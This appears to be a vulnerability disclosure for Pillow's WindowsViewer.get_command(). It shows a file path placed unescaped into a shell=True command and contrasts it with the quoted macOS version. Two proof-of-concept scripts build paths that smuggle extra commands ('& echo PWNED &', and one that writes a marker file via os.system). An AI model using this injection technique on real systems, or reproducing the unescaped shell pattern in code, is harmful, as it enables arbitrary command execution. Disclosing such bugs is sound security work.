Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

 1class WindowsViewer(Viewer):
 2    format = "PNG"
 3    options = {"compress_level": 1, "save_all": True}
 4 
 5    def get_command(self, file: str, **options: Any) -> str:
 6        return (
 7            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
 8            "&& ping -n 4 127.0.0.1 >NUL "
 9            f'&& del /f "{file}"'                # ← same path, unescaped again
10        )
11 
12    def show_file(self, path: str, **options: Any) -> int:
13        if not os.path.exists(path):
14            raise FileNotFoundError
15        subprocess.Popen(
16            self.get_command(path, **options),
17            shell=True,                          # ← shell=True
18            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
19        )  # nosec                               # ← Bandit warning suppressed manually
20        return 1

 1class MacViewer(Viewer):
 2    def get_command(self, file: str, **options: Any) -> str:
 3        command = "open -a Preview.app"
 4        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
 5        return command                           # ← shlex.quote() applied

 1from PIL.ImageShow import WindowsViewer
 2 
 3viewer = WindowsViewer()
 4evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
 5cmd = viewer.get_command(evil_path)
 6print(cmd)
 7# Output:
 8# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
 9# ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
10# ├─ & echo PWNED                           → INJECTED COMMAND
11# └─ & echo ""  && ping ...                → continues

 1import os, tempfile
 2from PIL.ImageShow import WindowsViewer
 3 
 4viewer = WindowsViewer()
 5poc_dir = tempfile.mkdtemp()
 6marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
 7 
 8# Craft injection: payload writes a marker file (harmless)
 9payload   = f'echo REAL_INJECTED > "{marker}"'
10evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
11 
12# Call the REAL Pillow get_command():
13real_cmd = viewer.get_command(evil_path)
14 
15# Execute the same way the base Viewer.show_file() does (os.system):
16os.system(real_cmd)
17 
18assert os.path.exists(marker)                          # PASSES — marker was created
19assert "REAL_INJECTED" in open(marker).read()          # PASSES
20# → CONFIRMED: arbitrary command injection via get_command()